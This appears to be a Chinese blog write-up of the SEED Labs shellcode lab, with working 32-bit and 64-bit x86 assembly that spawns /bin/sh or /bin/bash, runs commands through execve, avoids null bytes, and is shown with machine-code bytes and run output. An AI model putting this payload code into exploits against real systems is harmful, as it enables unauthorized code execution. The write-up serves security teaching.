SeedLab——Shellcode Development Lab

Task-1 Writing Shellcode

A: The Entire Process

下面这段代码使用汇编语言编写实现一个Linux系统调用程序,用于执行/bin/sh命令。

section .text
  ; 定义代码段开始

  global _start
    ; 声明_start标号为全局可见,_start是程序的入口点

  _start:
    ; 程序的入口点

    ; 存储参数字符串到栈上
    xor  eax, eax 
      ; 将eax寄存器与自身进行异或操作,将eax寄存器清零

    push eax          
      ; 压入0作为字符串的结尾标志

    push "//sh"
      ; 压入字符串"//sh",作为要执行的程序的参数之一

    push "/bin"
      ; 压入字符串"/bin",作为要执行的程序的参数之一

    mov  ebx, esp     
      ; 将esp寄存器的值(指向字符串"/bin//sh"的地址)赋给ebx寄存器,用于后续执行execve系统调用时指定要执行的程序路径

    ; 构建参数数组argv[]
    push eax          
      ; 压入0作为argv[]数组的第二个元素(argv[1])的值,表示参数数组的结束

    push ebx          
      ; 压入ebx寄存器的值(指向字符串"/bin//sh"的地址),作为argv[]数组的第一个元素(argv[0])的值,表示要执行的程序的路径

    mov  ecx, esp     
      ; 将esp寄存器的值(指向argv[]数组的地址)赋给ecx寄存器,用于后续执行execve系统调用时指定参数数组的地址

    ; 环境变量
    xor  edx, edx     
      ; 将edx寄存器与自身进行异或操作,将edx寄存器清零,表示没有环境变量

    ; 调用execve()
    xor  eax, eax     
      ; 将eax寄存器与自身进行异或操作,将eax寄存器清零

    mov   al, 0x0b    
      ; 将值0x0b(11的十六进制表示)赋给al寄存器,表示要执行的系统调用编号为11,即execve

    int 0x80
      ; 触发软中断,进入内核模式执行系统调用

使用 NASM(Netwide Assembler)将汇编代码编译为 32 位 ELF 目标文件。ELF(Executable and Linkable Format)是一种可执行文件和可链接文件的标准文件格式。它是在许多类Unix操作系统中使用的常见二进制文件格式,包括Linux。ELF 文件包含了程序的机器代码、数据、符号表、调试信息和其他与执行相关的元数据。ELF 文件可以根据需要进行链接,以创建可执行文件、共享库、静态库等。它提供了灵活性和可扩展性,使得在不同的编程语言和平台上进行软件开发和交付变得更加方便。

nasm -f elf32 mysh.s -o mysh.o

使用 GNU ld(链接器)将 NASM 生成的目标文件与所需的库文件进行链接,以生成可执行文件。针对 32 位 x86 架构的 ELF 目标文件,可以使用 -m elf_i386 选项来指定架构。下面是使用 ld 进行链接的命令:

ld -m elf_i386 mysh.o -o mysh

运行mysh,可知启动一个新的 sh 进程用于执行 shell 指令。

seed@VM:~/.../Labsetup$ echo $$ # 用于表示当前正在运行的进程的进程 ID(PID)
2336
seed@VM:~/.../Labsetup$ ./mysh # 运行mysh
$ ls
Makefile  convert.py  machinecode  mysh  mysh.o  mysh.s  mysh2.s  mysh_64.s
$ echo $$
2726
$ 

--disassemble 选项告诉 objdump 对目标文件进行反汇编,-Mintel 选项指定使用 Intel 格式的语法进行显示。

seed@VM:~/.../Labsetup$ objdump -Mintel --disassemble mysh.o
mysh.o:     file format elf32-i386

Disassembly of section .text:

00000000 <_start>:
   0:   31 c0                   xor    eax,eax
   2:   50                      push   eax
   3:   68 2f 2f 73 68          push   0x68732f2f
   8:   68 2f 62 69 6e          push   0x6e69622f
   d:   89 e3                   mov    ebx,esp
   f:   50                      push   eax
  10:   53                      push   ebx
  11:   89 e1                   mov    ecx,esp
  13:   31 d2                   xor    edx,edx
  15:   31 c0                   xor    eax,eax
  17:   b0 0b                   mov    al,0xb
  19:   cd 80                   int    0x80

以每行 20 个字符的方式显示 mysh.o 目标文件的内容的十六进制表示。 -p 选项告诉 xxd 只输出纯粹的十六进制数据,而不包括行号和ASCII字符显示。 -c 20 选项指定每行显示 20 个字符。

seed@VM:~/.../Labsetup$ xxd -p -c 20 mysh.o
7f454c4601010100000000000000000001000300
0100000000000000000000004000000000000000
# 略
# 下面这部分就是机器代码了
00000000000000000000000031c050682f2f7368
682f62696e89e3505389e131d231c0b00bcd8000
# 略
0400f1ff00000000000000000000000003000100
08000000000000000000000010000100006d7973
682e73005f73746172740000

将机器代码放入convert.py中的ori_sh,转换成正确的格式。

# Run "xxd -p -c 20 rev_sh.o",
# copy and paste the machine code to the following:
ori_sh ="""31c050682f2f7368682f62696e89e3505389e131d231c0b00bcd80"""
seed@VM:~/.../Labsetup$ python3 convert.py 
Length of the shellcode: 27
shellcode= (
   "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50"
   "x53x89xe1x31xd2x31xc0xb0x0bxcdx80"
).encode('latin-1')

B. Eliminating Zeros from the Code

这个任务中,我们将使用 shellcode 来执行 /bin/bash,该命令字符串有 9 个字节(如果计算末尾的零,则有 10 个字节)。通常情况下,为了将这个字符串推入堆栈,我们需要使字符串的长度为 4 的倍数,所以我们会将字符串转换为 /binbash。然而,对于此任务,我们不能向字符串中添加任何多余的 /,也就是说,命令的长度必须是 9 个字节(/bin/bash)。

我们可以使用SHLSHR。这两个是汇编语言中的位移指令,用于对寄存器或内存中的数据进行位移操作。它们分别可以对操作数进行左移(Shift Left)和右移(Shift Right),然后使用0来填充

      mov ebx,"h###"    ; EBX为0x23232368
      shl ebx,24        ; 左移ebx24位, ebx变为0x68000000
      shr ebx,24        ; 右移ebx24位, ebx变为0x00000068

所以可以修改mysh.s中5-9行如下所示,经过两次位移操作,ebx变为了 0x00000068,压入栈中与 /bin/bas 拼凑在一起变成 /bin/bash

      xor  eax, eax 
      push eax          ; Use 0 to terminate the string
      mov ebx,"###h"    ; EBX为0x68232323
      shr ebx,24        ; 右移ebx24位, ebx变为0x00000068
      push ebx
      push "/bas"
      push "/bin"
      mov  ebx, esp     ; Get the string address

编译链接,运行结果如下。可知正确运行了 /bin/bash。

seed@VM:~/.../Labsetup$ echo $$
3218
seed@VM:~/.../Labsetup$ ./mysh
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

[10/25/23]seed@VM:.../Labsetup$ echo $$
3774
seed@VM:.../Labsetup$ echo $SHELL
/bin/bash # 运行的是bash

C. Providing Arguments for System Calls

在本实验中,要求运行命令: /bin/sh -c "ls -la",需要我们为系统调用提供参数。

构造参数并压入栈中

参数/bin//sh构造如下,然后压入栈中。此时将栈顶指针地址移动到ebx寄存器,表示该参数其地址存储在ebx

      xor  eax, eax 
      push eax          ; Use 0 to terminate the string
      push "//sh"
      push "/bin"
      mov  ebx, esp     ; Get the address of argv[0]

参数-c构造如下,然后压入栈中。此时将栈顶指针地址移动到edx寄存器,表示该参数其地址存储在edx。

      mov eax, "##-c"
      shr eax, 16
      push eax          ; eax = -c
      mov edx, esp      ; Get the address of argv[1]

参数ls -la构造如下,然后压入栈中。此时将栈顶指针地址移动到ecx寄存器,表示该参数其地址存储在ecx。

      mov eax, "##la"
      shr eax, 16
      push eax
      push "ls -"
      mov ecx, esp      ; Get the address of argv[2]
传递参数给系统调用

要理解怎么做,首先来看execve系统调用的使用。下面是一个示例程序,用于执行/bin/sh -c "ls -la"。传递了三个参数——要执行的程序的路径path、参数数组args以及环境变量数组envs

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char *args[] = { "/bin/sh", "-c", "ls -la", NULL };
    execve(args[0], args, NULL);
    perror("execve");  // 如果execve调用失败,打印错误信息
    return 0;
}

这段汇编代码将eax寄存器清零,然后将0x0b移动到al寄存器(即eax寄存器的低八位),表示要执行的系统调用编号为 11,即 execve。

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b

ebx寄存器为传递的参数一即path的地址,ecx寄存器为传递的参数二即args的地址,edx寄存器为传递的参数三即envs的地址。

所以使用下面这段汇编代码将args参数列表压入栈中,然后将栈顶指针esp移动到ecx寄存器作为系统调用参数二,这样args参数传递就完成了。同时args[0]path参数的地址已经在ebx寄存器中,这个参数地址在我们之前构造时就已经放在了ebx寄存器中了,因此path参数的传递也完成了。

      xor eax, eax
      push eax          ; argv[3] = 0
      push ecx          ; argv[2] points "ls -la"
      push edx          ; argv[1] points "-c"
      push ebx          ; argv[0] points "/bin//sh"
      mov  ecx, esp     ; Get the address of argv[]

还有参数三envs,传递NULL。因此将edx与自身异或得到0作为参数envs传递给execve调用。

      ; For environment variable 
      xor  edx, edx     ; No env variables 

这样与前面的结合起来,就能完整理解这个shellcode的执行流程与原理了。完整shellcode编写如下

section .text
  global _start
    _start:
      ; Store the argument string on stack
      xor  eax, eax 
      push eax          ; Use 0 to terminate the string
      push "//sh"
      push "/bin"
      mov  ebx, esp     ; Get the address of argv[0]

      mov eax, "##-c"
      shr eax, 16
      push eax          ; eax = -c
      mov edx, esp      ; Get the address of argv[1]
      
      mov eax, "##la"
      shr eax, 16
      push eax
      push "ls -"
      mov ecx, esp      ; Get the address of argv[2]


      ; Construct the argument array argv[]
      xor eax, eax
      push eax          ; argv[3] = 0
      push ecx          ; argv[2] points "ls -la"
      push edx          ; argv[1] points "-c"
      push ebx          ; argv[0] points "/bin//sh"
      mov  ecx, esp     ; Get the address of argv[]
   
      ; For environment variable 
      xor  edx, edx     ; No env variables 

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80

最后编译链接shellcode,执行结果如下

seed@VM:~/.../Labsetup$ nasm -f elf32 mysh.s -o mysh.o
seed@VM:~/.../Labsetup$ ld -m elf_i386 mysh.o -o mysh
seed@VM:~/.../Labsetup$ ./mysh
total 56
drwxrwxr-x 2 seed seed 4096 Oct 26 02:25 .
drwxrwxr-x 4 seed seed 4096 Oct 16 04:30 ..
-rw------- 1 seed seed    2 Oct 25 23:30 .gdb_history
-rw-rw-r-- 1 seed seed  294 Oct 16 04:30 Makefile
-rw-rw-r-- 1 seed seed  481 Oct 25 22:49 convert.py
-rw-rw-r-- 1 seed seed 9234 Oct 23 04:17 machinecode
-rwxrwxr-x 1 seed seed 4536 Oct 26 02:25 mysh
-rw-rw-r-- 1 seed seed  464 Oct 26 02:25 mysh.o
-rw-rw-r-- 1 seed seed 1131 Oct 26 02:25 mysh.s
-rw-rw-r-- 1 seed seed  266 Oct 16 04:30 mysh2.s
-rw-rw-r-- 1 seed seed  378 Oct 16 04:30 mysh_64.s

D. Providing Environment Variables for execve()

这里的要求总结一下,就是要求我们实现shellcode,功能与下面的C语言程序相同。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char *args[] = { "/usr/bin/env", NULL };
    char *env[] = { "aaa=1234", "bbb=5678", "cccc=1234", NULL };
    execve(args[0], args, env);
    perror("execve");  // 如果execve调用失败,打印错误信息
    return 0;
}

这里要我们将execve系统调用的path设置为/usr/bin/envargs设置为{ "/usr/bin/env", NULL }envs设置为{ "aaa=1234", "bbb=5678", "cccc=1234", NULL }

envs参数

首先构造envs参数列表,aaa=1234的地址存放在ebx寄存器

      xor  eax, eax 
      push eax
      push "1234"
      push "aaa="       ; aaa=1234
      mov ebx, esp

bbb=5678的地址存放在ecx寄存器

      push eax
      push "5678"
      push "bbb="       ; bbb=5678
      mov ecx, esp

cccc=1234为九个字节,因此需要通过移位来构造0。其地址存放在edx寄存器。

      mov eax, "###4"
      shr eax, 24       ; Generate 0 
      push eax       
      push "=123"
      push "cccc"       ; cccc=1234
      mov edx, esp

然后传递envs参数。将构造的三个环境变量压入栈中,然后获取栈顶指针存入edx寄存器中,作为参数envs

      ; For environment variable
      xor eax, eax
      push eax          ; envs[3]=null
      push edx          ; envs[2]="cccc=1234"
      push ecx          ; envs[2]="bbb=1234"
      push ebx          ; envs[2]="aaa=1234"
      mov edx, esp
args参数

然后构造path参数和args参数。将path的地址存入ebx寄存器中。

      ; path and args
      xor eax, eax
      push eax          ; Use 0 to terminate the string
      push "/env"
      push "/bin"
      push "/usr"
      mov  ebx, esp     ; Get the address of argv[0]

然后将args压入栈,并将args的地址存入ecx寄存器中。

      push eax          ; argv[1] = 0
      push ebx          ; argv[0] points "/usr/bin/env"
      mov  ecx, esp     ; Get the address of argv[] 

完整代码如下

section .text
  global _start
    _start:
      ; Store the argument string on stack

      ; environment
      xor  eax, eax 
      push eax
      push "1234"
      push "aaa="       ; aaa=1234
      mov ebx, esp

      push eax
      push "5678"
      push "bbb="       ; bbb=5678
      mov ecx, esp

      mov eax, "###4"
      shr eax, 24       ; Generate 0 
      push eax       
      push "=123"
      push "cccc"       ; cccc=1234
      mov edx, esp      

      ; For environment variable
      xor eax, eax
      push eax          ; envs[3]=null
      push edx          ; envs[2]="cccc=1234"
      push ecx          ; envs[2]="bbb=1234"
      push ebx          ; envs[2]="aaa=1234"
      mov edx, esp

      ; path and args
      xor eax, eax
      push eax          ; Use 0 to terminate the string
      push "/env"
      push "/bin"
      push "/usr"
      mov  ebx, esp     ; Get the address of argv[0]

      ; Construct the argument array argv[]
      push eax          ; argv[1] = 0
      push ebx          ; argv[0] points "/usr/bin/env"
      mov  ecx, esp     ; Get the address of argv[] 
      

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80

编译链接,执行结果如下

image-20231026154246155

Task-2 Using Code Segment

示例程序分析

在Task1中,解决获取数据地址问题的方式是每次构造完数据结构后,获取当前的栈顶地址来获取目标数据地址。还有另一种解决相同问题的方法,即通过获取所有必要数据结构的地址来实现。

给出示例代码如下所示

section .text
  global _start
    _start:
	BITS 32
	jmp short two
    one:
 	pop ebx
 	xor eax, eax
 	mov [ebx+7], al	
 	mov [ebx+8], ebx 	
 	mov [ebx+12], eax	 
 	lea ecx, [ebx+8] 
 	xor edx, edx
 	mov al,  0x0b
 	int 0x80
     two:
 	call one
 	db '/bin/sh*AAAABBBB'

这段代码首先通过jmp short two指令跳转到two:,在two代码段中,call调用one函数,使用db '/bin/sh*AAAABBBB'指令定义一段字节数据并将字节数据存储在代码区域中。然后进入one代码段,首先将栈顶的值弹出到ebx寄存器中,这里是将/bin/sh*AAAABBBB的地址弹出到ebx中。内存空间如下所示。

0123456789101112131415
/bin/sh*BBBBAAAA
ebx

将eax异或运算,然后将低位的八位存储到ebx+7地址处,即将字节0存储到/bin/sh字符串的最后一个字符处。

 	xor eax, eax
 	mov [ebx+7], al

内存空间改变如下所示

0123456789101112131415
/bin/sh0BBBBAAAA
ebx

然后mov [ebx+8], ebxebx的值存储到ebx+8地址处,内存空间改变如下所示

0123456789101112131415
/bin/sh0ebx0-7ebx8-15ebx16-23ebx23-31AAAA
ebx

执行lea ecx, [ebx+8],将ebx+8的值也就是ebx寄存器的值放入ecx寄存器作为参数args

mov [ebx+12], eaxeax寄存器的值存储到ebx+12地址处,即将0存储到/bin/sh*AAAABBBB字符串的最后一个字符之后的位置。

0123456789101112131415
/bin/sh0ebx0-7ebx8-15ebx16-23ebx23-310000
ebx

最后将edx与自己异或设置为0,将eax的低八位设置为11,表示进行execve系统调用。

 	xor edx, edx
 	mov al,  0x0b

综上所述,eax、ebx、ecx、edx都设置完毕,所以给出的示例代码等效于下面的C语言代码。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char *args[] = { "/bin/sh", NULL };
    execve(args[0], args, NULL);
    perror("execve");  // 如果execve调用失败,打印错误信息
    return 0;
}

编写shellcode

使用样例程序中的方法,编写一个新的shellcode,使其能够运行命令/usr/bin/env,并且能够打印出如下环境变量

a=11
b=22

two代码段如下,设置数据为/usr/bin/env*AAAABBBBa=11*b=22*CCCCDDDDEEEE

     two:
 	call one
 	db '/usr/bin/env*AAAABBBBa=11*b=22*CCCCDDDDEEEE'

内存空间如下所示(第一行为地址,第二行为内容,第三行表示如果内容为指针其指向的地址)

012345678910111213141516171819
/usr/bin/env*AAAABBB
2021222324252627282930313233343536373839
Ba=11*b=22*CCCCDDDDE
404142
EEE

进入one代码段,先对eax清零,然后将数据段进行分隔。也就是将*号和args数组以及envs数组末尾元素置为空。

    one:
 	pop ebx
 	xor eax, eax

	mov [ebx+12], al
	mov [ebx+13], ebx
	mov [ebx+17], eax
	mov [ebx+25], al
	mov [ebx+30], al
	mov [ebx+39], eax

操作后的内存空间如下

012345678910111213141516171819
/usr/bin/env0000
ebx0
2021222324252627282930313233343536373839
0a=110b=220CCCCDDDD0
404142
000

然后将两个envs参数也就是a=11b=22数据段的地址加载到寄存器中。

	lea ecx, [ebx+21]
	lea edx, [ebx+26]
	mov [ebx+31], ecx
	mov [ebx+35], edx

操作后的内存空间如下

012345678910111213141516171819
/usr/bin/env0000
ebx0
2021222324252627282930313233343536373839
0a=110b=2200
2126
404142
000

最后为系统调用提供参数。将args的地址加载到ecx寄存器,envs的地址加载到edx寄存器,path的地址已经存在ebx寄存器中了。

 	lea ecx, [ebx+13]
 	lea edx, [ebx+31]

完整代码如下所示

section .text
  global _start
    _start:
	BITS 32
	jmp short two
    one:
 	pop ebx
 	xor eax, eax

	mov [ebx+12], al
	mov [ebx+13], ebx
	mov [ebx+17], eax
	mov [ebx+25], al
	mov [ebx+30], al
	mov [ebx+39], eax

	lea ecx, [ebx+21]
	lea edx, [ebx+26]
	mov [ebx+31], ecx
	mov [ebx+35], edx

 	lea ecx, [ebx+13]
 	lea edx, [ebx+31]
	
 	mov al,  0x0b
 	int 0x80
     two:
 	call one
 	db '/usr/bin/env*AAAABBBBa=11*b=22*CCCCDDDDEEEE'

编译链接运行如下所示

nasm -f elf32 mysh2.s -o mysh2.o
ld --omagic -m elf_i386 mysh2.o -o mysh2

image-20231026193440516

Task-3 Writing 64-bit Shellcode

完整代码如下所示

  global _start
    _start:
      ; The following code calls execve("/bin/sh", ...)
      xor  rdx, rdx       ; 3rd argument
      push rdx
      
      ; 修改的部分
      mov rax, '#######h'
      shr rax, 56
      push rax
      mov rax, '/bin/bas'
      push rax
      
      mov rdi, rsp        ; 1st argument
      push rdx 
      push rdi
      mov rsi, rsp        ; 2nd argument
      xor  rax, rax
      mov al, 0x3b        ; execve()
      syscall

Summary

在编写64位系统和32位系统的shellcode时,存在一些关键的差异。

  1. 寄存器:64位系统使用更多的寄存器,其中包括通用寄存器和扩展寄存器。通用寄存器从RAX到R15,扩展寄存器包括R8到R15。相比之下,32位系统只有通用寄存器,从EAX到EDI。因此,在编写64位系统的shellcode时,可以利用更多的寄存器来存储数据和执行操作。
  2. 操作数的大小:在64位系统中,指针大小为64位,所以操作数的大小也相应增加。在32位系统中,指针大小为32位,操作数的大小也是32位。因此在编写64位系统的shellcode时,需要使用64位的操作数和指令。
  3. 系统调用:由于64位系统和32位系统的系统调用接口不同,因此在编写shellcode时需要使用不同的系统调用号和调用方式。在64位系统中,一般使用syscall指令进行系统调用,系统调用号存储在RAX寄存器中。而在32位系统中,使用int 0x80指令进行系统调用,系统调用号存储在EAX寄存器中。

一个x86-64的CPU包含一组16个存储64位值的通用寄存器,用于存储整数和指针。初始的8086有8个16位的寄存器,如下标的%ax到%sp。扩展到IA32架构时,这些寄存器也扩展到了32位寄存器,从%eax到%esp。

6331157
%rax%eax%ax%al返回值
%rbx%ebx%bx%bl被调用者保存
%rcx%ecx%cx%cl参数4
%rdx%edx%dx%dl参数3
%rsi%esi%si%sil参数2
%rdi%edi%di%dil参数1
%rbp%ebp%bp%bpl被调用者保存
%rsp%esp%sp%spl栈指针
%r8%r8d%r8w%r8b参数5
%r9%r9d%r9w%r9b参数6
%r10%r10d%r10w%r10b调用者保存
%r11%r11d%r11w%r11b调用者保存
%r12%r12d%r12w%r12b被调用者保存
%r13%r13d%r13w%r13b被调用者保存
%r14%r14d%r14w%r14b被调用者保存
%r15%r15d%r15w%r15b被调用者保存
  • 19
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值